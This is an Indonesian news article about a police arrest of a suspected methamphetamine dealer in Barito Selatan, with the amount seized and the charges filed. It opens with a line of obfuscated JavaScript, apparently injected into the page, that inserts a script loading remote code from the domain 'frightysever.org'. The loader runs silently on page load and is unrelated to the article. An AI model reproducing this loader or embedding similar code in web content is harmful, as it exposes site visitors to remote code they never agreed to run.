(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Satresnarkoba Polres Barsel Kembali Ringkus Pengedar Sabu


BUNTOK, Sat Resnarkoba Polres Barito Selatan (Barsel) kembali berhasil meringkus pengedar narkotika jenis sabu-sabu dengan tersangka berinisial SY alias TNL (33), warga Kelurahan Bangkuang Kecamatan Karau Kuala, Sabtu (2/3) sekitar pukul 04.00 WIB.

Kapolres Barsel AKBP Wahid Kurniawan SIK melalui Kasat Narkoba IPTU Sanip kepada Kanalkalimantan.com membenarkan telah berhasil meringkus SY. Penangkapan ini berawal informasi masyarakat yang resah dengan maraknya peredaran narkoba di Kelurahan Bangkung. “Berdasarkan informasi dari masyarakat tersebut, kita melakukan penyelidikan terhadap perilaku dn kegiatan tersangka,” kata Sanip.

Tersangka diketahui menyimpan serta mengedarkan barang haram tersebut di rumahnya. Selanjutnya, bersama anggota Sat Resnarkoba Polres Barsel disaksikan Ketua RT setempat melakukan pengeledahan terhadap SY.

Di kamar tersangka, petugas berhasil mendapatkan butiran kristal bening sabu-sabu dibungkus dengan plastik bening. “Yang disimpan, tersangka didalam lampu hias didalam kamarnya. Sebanyak, satu bungkus dengan berat 3,02 gram,” ungkap Sanip.

Menurut Sanip, dari pengakuan tersangka SY barang haram tersebut ia pesan dari Kecamatan Dusun Tengah Ampah Kabupaten Barito Timur (Bartim). Pemesanan sabu-sabu tersebut yakni menghubungi seseorang melalui telepon seluler. “Selanjutnya pesan itupun diantarkan langsung ke Kelurahan Bangkuang,” ujarnya.

Ia juga mengungkapkan, selain dari pengakuan tersangka sabu-sabu tersebut selain ia pergunakan sendiri juga dijual di Bangkuang. Dalam kasus ini polisi mengamankan satu bungkus plastik klip bening berisikan butiran kristal warna bening sabu-sabu berat 3,02 gram, satu buah Handphone Nokia warna biru dan uang tunai hasil penjualan sabu-sabu sebesar Rp 300 ribu.

Saat ini tersangka SY diamankan di Mapolres Barsel, Dia dikenakan Pasal 112 ayat (1) dan Pasal 114 ayat (1) Undang-Undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika. (digdo)

Reporter: Digdo
Editor: Chell

Desy Arfianty

Recent Posts

Hadapi PSU 19 April KPU Kalsel Angkat Kembali PPK, PPS, dan KPPS

KANALKALIMANTAN.COM, BANJARBARU – Satu bulan jelang pelaksanan Pemungutan Suara Ulang (PSU) Piwali Banjarbaru pada 19… Read More

6 jam ago

Trump Bungkam VOA, 1.300 Karyawan Dirumahkan

KANALKALIMANTAN.COM, NEW YORK - Pemerintahan Presiden Donald Trump secara resmi mengurangi pendanaan untuk Voice of… Read More

6 jam ago

Kunjungi SPKLU di Banten, Menteri ESDM Apresiasi Kesiapan PLN Sambut Mudik 2025

KANALKALIMANTAN.COM, CILEGON - Menteri Energi dan Sumber Daya Mineral (ESDM) Bahlil Lahadalia melakukan inspeksi ke… Read More

8 jam ago

Jelang Mudik Lebaran 2025, PUPR Kalsel: 79 Persen Jalan Penuhi Standar Kelayakan

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang mudik lebaran 2025 atau bertepatan dengan 2025 ini Dinas Pekerjaan Umum… Read More

8 jam ago

Safari Ramadan ke Karangintan, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Wabup Banjar Habib Idrus Al Habsyi… Read More

9 jam ago

Pengangkatan CPNS dan PPPK Dipercepat? Pemerintah Umumkan Keputusan Krusial Hari Ini!

KANALKALIMANTAN.COM - Pemerintah akan mengumumkan informasi terkini terkait pengangkatan Calon Aparatur Sipil Negara (ASN) menjadi… Read More

18 jam ago

This website uses cookies.